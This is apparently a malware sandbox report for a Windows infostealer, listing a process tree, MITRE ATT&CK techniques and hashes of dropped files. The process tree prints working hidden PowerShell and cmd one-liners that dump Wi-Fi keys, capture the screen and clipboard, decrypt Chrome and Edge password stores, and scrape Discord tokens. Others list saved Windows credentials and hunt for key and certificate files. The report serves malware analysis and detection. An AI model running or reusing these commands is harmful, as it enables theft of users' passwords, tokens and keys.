    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5780,i,17133414251743808981,12016597235248120511,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:14
    3⤵
    PID:2752
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5632,i,17942846725918888296,15162799980823515270,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=5712 /prefetch:14
    3⤵
    PID:5824
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5632,i,17942846725918888296,15162799980823515270,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=5712 /prefetch:14
    3⤵
    PID:5976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6604,i,2813411754876983065,1916449435408903492,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=6612 /prefetch:14
    3⤵
    PID:3320
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6772,i,12921467316832798299,14455327954822327338,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=6864 /prefetch:14
    3⤵
    PID:1456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4820,i,6559308030689393369,1898400514400941750,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=5212 /prefetch:14
    3⤵
    PID:1096
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5204,i,2254599008342201602,13520527611238026348,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=7148 /prefetch:14
    3⤵
    PID:1860
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7152,i,5719286807717113990,946211940243591181,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=7040 /prefetch:14
    3⤵
    PID:3004
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7156,i,8659728019058716779,17094977654469947941,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:14
    3⤵
    PID:3308
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7092,i,17804213552785290292,463065288691478909,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=7072 /prefetch:14
    3⤵
    PID:4332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6176,i,16287705950528131579,2751345075961790223,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=6200 /prefetch:14
    3⤵
    PID:5504
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6576,i,7150634775593822660,14820278002792869989,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=6532 /prefetch:14
    3⤵
    PID:5568
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6256,i,6131577799222952915,5426306500488977427,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:14
    3⤵
    PID:4112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=948,i,14828711611747686401,3218058803867789657,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:14
    3⤵
    PID:4440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5148,i,10202677846712249072,1633649054929311857,262144 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=6136 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1648
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6508,i,12504122475301395459,6869664721156278361,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=6552 /prefetch:14
    3⤵
    PID:1944
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3180,i,8199858464139503374,2739045364809218103,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=6584 /prefetch:14
    3⤵
    PID:1152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5440,i,13928348445032040998,11205155398442405864,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:14
    3⤵
    PID:3924
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7108,i,12233371403007860800,350503545478683595,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:14
    3⤵
    PID:1656
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6940,i,896859423099734496,13998162456332847285,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:14
    3⤵
    PID:4148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2948,i,13259586988788286537,17808643943864851594,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=6508 /prefetch:14
    3⤵
    PID:2936
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5632,i,7558829098499120761,4625502217921978384,524288 --field-trial-handle=2308,i,3964329280183881828,4767788379753628470,262144 --variations-seed-version --mojo-platform-channel-handle=7132 /prefetch:14
    3⤵
    PID:5100
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\Microsoft\DocRender\updater.vbs"
  2⤵
  - Badlisted process makes network request
  - Executes a VBScript file via the Windows Script Host.
  PID:3716

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -W Hidden -C "(netsh wlan show profiles)|Select-String 'All User Profile'|%{$n=($_ -split ':',2)[1].Trim();'=== '+$n+' ===';(netsh wlan show profile $n key=clear)|Select-String 'Key Content'}|Out-File ($env:TEMP+'\~w.tmp') -Enc UTF8"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5400
- C:\Windows\system32\netsh.exe
  "C:\Windows\system32\netsh.exe" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:2168

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4428

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -W Hidden -C "Add-Type -A System.Windows.Forms,System.Drawing;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;$b=New-Object Drawing.Bitmap($s.Width,$s.Height);[Drawing.Graphics]::FromImage($b).CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size);$b.Save(($env:TEMP+'\~s.jpg'),[System.Drawing.Imaging.ImageFormat]::Jpeg)"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -W Hidden -C "Add-Type -A System.Windows.Forms;[Windows.Forms.Clipboard]::GetText()|Out-File ($env:TEMP+'\~c.tmp') -Enc UTF8"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -W Hidden -C "$p=$env:LOCALAPPDATA+'\Google\Chrome\User Data';try{Add-Type -A System.Security;$j=gc ($p+'\Local State') -Raw|ConvertFrom-Json;$e=[Convert]::FromBase64String($j.os_crypt.encrypted_key);$d=[Security.Cryptography.ProtectedData]::Unprotect($e[5..($e.Length-1)],$null,'CurrentUser');[Convert]::ToBase64String($d)|Out-File ($env:TEMP+'\~ck.tmp');cp ($p+'\Default\Login Data') ($env:TEMP+'\~cl.db') -Fo;cp ($p+'\Default\Web Data') ($env:TEMP+'\~cw.db') -Fo;cp ($p+'\Default\History') ($env:TEMP+'\~ch.db') -Fo}catch{};$ep=$env:LOCALAPPDATA+'\Microsoft\Edge\User Data';if(Test-Path ($ep+'\Default\Login Data')){try{$ej=gc ($ep+'\Local State') -Raw|ConvertFrom-Json;$ee=[Convert]::FromBase64String($ej.os_crypt.encrypted_key);$ed=[Security.Cryptography.ProtectedData]::Unprotect($ee[5..($ee.Length-1)],$null,'CurrentUser');[Convert]::ToBase64String($ed)|Out-File ($env:TEMP+'\~ek.tmp');cp ($ep+'\Default\Login Data') ($env:TEMP+'\~el.db') -Fo;cp ($ep+'\Default\Web Data') ($env:TEMP+'\~ew.db') -Fo;cp ($ep+'\Default\History') ($env:TEMP+'\~eh.db') -Fo}catch{}}"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3516

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -W Hidden -C "$o=@();@('discord','discordcanary','discordptb')|%{$d=$env:APPDATA+'\'+$_+'\Local Storage\leveldb';if(Test-Path $d){gci ($d+'\*.ldb'),($d+'\*.log') -ea 0|%{[regex]::Matches([IO.File]::ReadAllText($_.FullName),'[A-Za-z\d]{24,}\.[\w-]{6}\.[\w-]{27,}')|%{$o+=$_.Value}}}};$o|select -u|Out-File ($env:TEMP+'\~dt.tmp')"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5824

C:\Windows\system32\cmd.exe
cmd /c cmdkey /list > "C:\Users\Admin\AppData\Local\Temp\~k.tmp" 2>&1
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1348
- C:\Windows\System32\cmdkey.exe
  cmdkey /list
  2⤵
  PID:2804

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -W Hidden -C "$o=@();@('*.kdbx','*.rdp','*.pfx','*.p12','*.ovpn','*.jks','*.ppk')|%{gci ($env:USERPROFILE) -Recurse -Filter $_ -ea 0 -Depth 5|%{$o+=$_.FullName+' ('+$_.Length+'B)'}};$o|Out-File ($env:TEMP+'\~sf.tmp') -Enc UTF8"
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ac1b1f93ff87eb876027f4166d705375c0f5d3d22dcb03f6a66f6100e88dd10f
MD5 b99f03c5cfe71b03836f8b5fcf09425b
SHA1 8a5078499c0b5ea40183efb77f9c1028c196409c
SHA512 6b9feec4ead7bf05f67d0d480907e21a3b770d8d12dedd2b0d785904186eac7448583e61abacb23582948de55c8ea2043bfd6908efd7faecdd82cee91404cfe6
TLSH
T16DD02BE037909D18C440353163D0122091006C30880923090100A02C8D3E2C3054F0BE
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c95a47aec5edba88214fad580cb869417b6620a91d8ee97e2d0b7801d3372be5
MD5 aad5f2ca0dd16bb2ea6c7757ea569c50
SHA1 5228b0b132542be004ea1bb32f3748964d065af5
SHA512 9d59c0291d741bd9d6cf50c22972d4baef00e7c1a48d6a3311a6cc82c04ceeba6e2be9458334cb954878915cc9eb91a8fd8bc4a47c966d57a2a05d6ee8211640
TLSH
T1D4D09BE177A19D18C545353567D1522591416D31451927194241E13D9D7E2C3455F0AA
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 7cffd30c50fe6752d773a82cb3e06b603ac25cd8b2a03e582dfacf82cc1b6414
MD5 3166c470a12f3a94ce0c88ff434594e7
SHA1 5f75ab32bd12767b8d2f541131097a17666aa084
SHA512 97a1e003f762bbd4fbdf63949c2eb427da8375e2c0d94e22d71928e5428539f5ca1e1d473d6eb62f9a23a922e9e06b6ea507dd29a4eb1d3d6889373b1686620a
TLSH
T16DE026CC75CBC26EAA08E84B596C534CD2D0364F9BC8E9DB2B0484CA7902144B383BA0
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 d84649592fe7a86f9b9453b8532b9f3f7aa82b647ab4a3abd5dccefe5d319ab6
MD5 35af1cc6100173904d2a6b8f0ad859d6
SHA1 dd130996c5da192cee32a824ca8561e04ace9507
SHA512 412aca3129537752f040c3f8892966d3442cfdde8a3145a7ac106bf936e9ebd95e8f7d87b4426c9bed2f7b094510d34ca999f5d441d85d7cbc047c3f195e6daa
TLSH
T1C851B50F2B2589E3E771557160E60B6936F9A269CBC39E00C8101E72EE06F3181DBD93
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a598b.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a598b.TMP
Size 2KB
SHA256 a141b2f1b53b62d1c30489ef1427dc612a4e453d2269c31fde761aa4d2ead44e
MD5 f2f538beae97b31a112f78a2b354ca56
SHA1 c2a789599ad8b617caaa6558757b6cf3431ac1a7
SHA512 eceafe4245b50a80ac4e418fc3f4dc1ea000f58234030983fb19f85abcea9b55cd32661240bceb30aaad54a8f0b4dacdeceb8bd4ecf635d80d96e59eb8e42204
TLSH
T17251930F2B2589D3E771A57260E6076932F9A669DBC39E10C8001E72EA06F3581EBC57
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 896cf552639cb3195893dbf8d705486cb7dac473c0694b7aa395adff491f0783
MD5 ae48188cd061f51267e6d7cfb4a0ab33
SHA1 ef1fea9e8bef2ed5a6893b73acc89f70f6001b88
SHA512 20e84c3f4aeec3bfdb1e6bc7c428435276ff9b8c092c928ae8836c9c15320cd68fee54c82c0baa5b40cd25713c153d7011f9e49063d7a4509d10621c1bdbef12
TLSH
T1DE419DF3C3E8857EC91156F0AA146F1BCE2D0915432C7D5AC9E4AE2B93E3471E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 02aea7827007f93c7370e598f87a511ceb52dbfc9b910fae8ac6b962c86bfb7d
MD5 a4a6e8f046f7a2fcd708242dd080702f
SHA1 e6e593d1f9d948e8f3d373f88eb63e733781c994
SHA512 dab5babc9939a879aa66f1094644caf31cc80a0b0c0fcb1e26021d2b53de205886d9438068e700524cc32d4b178edb10a08cd3ee4a5ab1ba69419c963f6daef0
SSDEEP 192:sxRRRmC//fXsA0eLZfx5rzoA8p4G/g6+WNIYo2cOwoCYmGVIgDllVDJ:sxRRL//fXsA0elqP/5IBOYsL
TLSH
T13242D816AE286D3B9CCBE21DBB65BF53D6F91032A1D01E48A7FC961C04E76DD220741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 3083ee40f5de65013d3df54ff114330530026eb728b74f757e5da27e761cebdb
MD5 ef2f9b815eab70b93b1cce33646d306f
SHA1 e0ffcbf3d88acf3d6cecc7066f37ccb9943f0fda
SHA512 9948f9b7c998b903b24b80fedd6a071d761759fa7d6b1793b90517c88058241d8741b306ab7e5ca4c684855ccf2975114d1dd2ef0f6f62f74a66a8123bf5a203
SSDEEP 192:sxRRRmC//fXsA0lLZfx5rzoA8p4G/g6+WNIYo5wOwoCYmGVIgDnfJ:sxRRL//fXsA0llqP/5IeOYsF
TLSH
T16242C8166E28A93B8CCBD21DBB65BF53D6F91032A1D41E48B6FC961C04E76DD220741F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 8f23093c07f4313e503045911eb5bca734bebd5c1ffc7b63f358b972f3428837
MD5 5b712870cbe0c28b6dc61f089f9ce600
SHA1 cdad7a4166c462360beafde33edb289ed53c9d32
SHA512 21767ea8c2fe00bd93fe3b33060bb2361f7e177a6ce1659963b428704cbaa26b1ede3bfab933a3582c54c3d8a710034e2ba70586b8d1df982a9c9396ea6ed184
SSDEEP 192:sxR+RmC//fXsC0lLZfx5rzoA8p4G/g6+WNIYo5wOwoCYmGVIgVgJ:sxR+L//fXsC0llqP/5IeOYsO
TLSH
T1C432D7166E28A93B8CCBE21DBB65BF53D6F91032A1D42E48B6FC961C04E76DD120741F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 cac73b84f8e05b508c6a9f8da26dee184dcd0ac2301ba8c6335a83c9555cb46a
MD5 befe3888c9c538c85b0951c06f827dd5
SHA1 acb19d468a94675f554aca00bea17fd2fd06f7db
SHA512 52327eb6b9e73fb5f0a61dde58046a6a8e0e3eaf157c7820ae3a0c79204881dfb66514b86973bfbe7a3bc6de7e912b34ff4608a07c6f936959c6ebdc0895cca0
SSDEEP 768:j26HRo7pLuL7MRWgs2f028F1+UoAYDCx9Tuqh0VfUC9xbog/OV6kBVuw/Cro9reA:j26HRUE7MRWgs2f02u1ja1kB4w/Zu6
TLSH
T184D2DB7B740DCABF4F800ADDEC197E9F6D6802CB9698CD8047FE951C02C6BEA51164DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 256KB
SHA256 801d7ac51d80738385af46a00d4757b3c61e3e1528a87f00cd202727213ba56c
MD5 50c3e5dd17bff62d7242742b55c9d4c3
SHA1 5ab391d468233e57243d2879511ca76a3efcfc51
SHA512 010c6f8788f50beb38eff6c5399a536649daa3df24a58c336080763fca1db4be2c07f44776f41c88af3c03a7504596f9c27925ba2e50b34cd30e0557e974180a
SSDEEP 384:DNrRZyCSDnxTICKoePMEhIKyll7svbFKfk7:xFZJSDniqeEyI1l7svbF9
TLSH
T1A744840A7B747001EDE6D9721CB080771E3CB16E8F62A6D16DA254694DB3853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fdf3b9d6-3873-4fc7-8bb9-4c1dd6620488.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\fdf3b9d6-3873-4fc7-8bb9-4c1dd6620488.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
